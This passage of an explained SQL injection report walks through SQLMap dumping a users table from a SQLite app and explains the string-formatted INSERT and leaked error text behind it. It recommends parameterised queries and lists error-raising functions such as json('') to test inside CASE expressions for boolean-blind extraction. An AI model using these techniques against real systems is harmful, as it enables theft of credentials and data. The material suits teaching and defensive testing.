[13:21:04] [INFO] retrieved: CREATE TABLE users(username varchar(20), secret varchar(200), role INT)
[13:21:06] [INFO] fetching entries for table 'users'
[13:21:06] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[13:21:06] [INFO] retrieved: 2
[13:21:06] [INFO] retrieved: 1
[13:21:06] [INFO] retrieved: [redacted]
[13:21:07] [INFO] retrieved: admin
[13:21:07] [INFO] retrieved: 0
[13:21:07] [INFO] retrieved: [redacted]
[13:21:08] [INFO] retrieved: guest
[13:21:08] [INFO] recognized possible password hashes in column 'secret'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: <current>
Table: users
[2 entries]
+------+------------------------------------------------------------------+----------+
| role | secret                                                           | username |
+------+------------------------------------------------------------------+----------+
| 1    | [redacted] | admin    |
| 0    | [redacted] | guest    |
+------+------------------------------------------------------------------+----------+
  • -T users --dump asks SQLMap to take the table named users and print all its rows.
  • The first retrieved: line is the table's own definition, showing three columns: username, secret and role.
  • The following lines are the values, pulled out one by one through the same yes/no channel.
  • SQLMap notices that the secret column looks like password hashes. A hash is a one-way fingerprint of a password: you can compute it from the password, but you cannot read the password back from it directly. Attackers try to guess passwords and compare hashes, which is what the two questions are about.
  • The answers given are N and n: do not save the hashes to a file, do not try to crack them.
  • The final table shows two accounts, admin and guest, with their roles and hashes.

The pull request adding the payload is Add SQLite AND boolean-based blind payload. A pull request is a proposed change to a code project, which the maintainers can review and merge.

Root cause

The application builds the INSERT statement by string formatting the user-controlled message value into the query, with no parameter binding:

Python
query_db("insert into messages values ('%s')" % message)

A single quote in the message therefore ends the string literal and lets the rest of the value be parsed as SQL. The exception handler then returns str(e) to the client, which turns any SQLite error into an observable signal. That is what makes the boolean-based blind technique possible: the injected CASE expression chooses between a value that inserts normally and a call to json('') that raises malformed JSON, and the difference is visible in the response body.

Parameter binding is the safe alternative: the application sends the instruction and the data separately, so the database always treats the message as text and never as SQL. It is like handing a form to a clerk instead of dictating it into a sentence the clerk might mishear as an instruction.

The 140 character limit was intended to force time-based techniques. It does not prevent injection; it only constrains payload length, and the json('') payload is short enough to fit under the limit. A blacklist is a list of things to block; it only works if you can think of everything an attacker might use, which is rarely the case.

Impact

An attacker who can reach the endpoint can use the error signal as a boolean oracle and extract arbitrary data from the database through SQLMap, including table names, schema and row contents. An oracle here just means something that answers yes/no questions reliably. In the demonstration this exposed the users table with usernames, roles and password hashes. The approach is to find a SQLite function that makes the server return the error in the page or return an HTTP 500 status code. The report does not describe any other precondition.

Fix

The report does not describe a fix applied to the application. The change it documents is to SQLMap: the new test was added to data/xml/payloads/boolean_blind.xml and submitted as pull request 5501. For the application itself, the defect is the string-formatted query, and the appropriate fix is to use parameterised statements so that the message value is bound as data rather than parsed as SQL. Returning raw database exception text to the client should also be avoided, since it is the channel this technique relies on.

Variants to test

  • On other SQLite-backed endpoints, try json(''), abs(-9223372036854775808) and load_extension(0) inside a CASE expression. A positive result is a response that differs between the true and false branches, such as an error message or a 500 status.
  • The report compares the JSON error behaviour to the UPDATEXML or EXTRACTVALUE MySQL functions. A positive result is an XML parsing error returned in the response.
  • Where a length limit blocks longer payloads, compare candidate functions by length as done here and pick the shortest that still raises an error. A positive result is a payload that fits the limit and still produces the error branch.
  • Where the application suppresses error text, check whether the error still changes the status code or the response length. A positive result is a consistent difference between the two branches that SQLMap can use as a comparison.

Glossary

  • API: a defined way for one program to talk to another, with agreed addresses and formats.
  • Blacklist: a list of forbidden items; it only blocks what someone thought to list.
  • Blind injection: an injection where data never appears directly in the response, so the attacker asks yes/no questions and watches for a difference.
  • Boolean-based blind: a blind technique where the yes/no difference is the whole signal, for example OK versus an error.
  • CASE WHEN: SQL's if-then-else expression.
  • curl: a command-line tool for sending HTTP requests.
  • Database: an organised store of data, usually made of tables.
  • DBMS: database management system, the software that runs a database, such as SQLite or MySQL.
  • Endpoint: one specific address and method that a web application answers.
  • Error-based injection: an injection where the attacker makes the database put data into an error message that is returned.
  • False positive: a finding that looks real but is not.
  • Flask: a small Python framework for building web applications.
  • Git: a tool for downloading and tracking source code.
  • Hash: a one-way fingerprint of a value such as a password; you can compute it but not reverse it directly.
  • HTTP status code: the three-digit number sent with every web response, such as 200 for fine or 500 for server error.
  • Injection point: the specific input an attacker controls, such as a form field.
  • Integer overflow: a calculation producing a number too large for the space reserved for it.
  • JSON: a text format for structured data using braces, quotes and colons.
  • Library: a file of compiled code a program can load at runtime for extra features.
  • Oracle: something that reliably answers yes/no questions.
  • Parameter binding: sending the SQL instruction and the user data separately so the data is never parsed as SQL.
  • Payload: the exact text that gets injected.
  • Pull request: a proposed change to a code project that maintainers can review and merge.
  • SQL: the language used to talk to a database.
  • SQL injection: gluing user input directly into a SQL instruction so the input can change the instruction.
  • SQLite: a small, file-based database program common in web applications.
  • sqlite3: the command-line interpreter for SQLite, useful for trying SQL directly.
  • SQLMap: a free tool that automates finding and exploiting SQL injections.
  • Time-based injection: a blind technique where the attacker makes the database pause when a condition is true and measures the delay.
  • WAF/IPS: a web application firewall or intrusion prevention system, a filter that tries to block attacks.
  • Web application: a program on a server that you interact with through a browser.
  • XML: a text format using angle-bracket tags to describe structured data.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.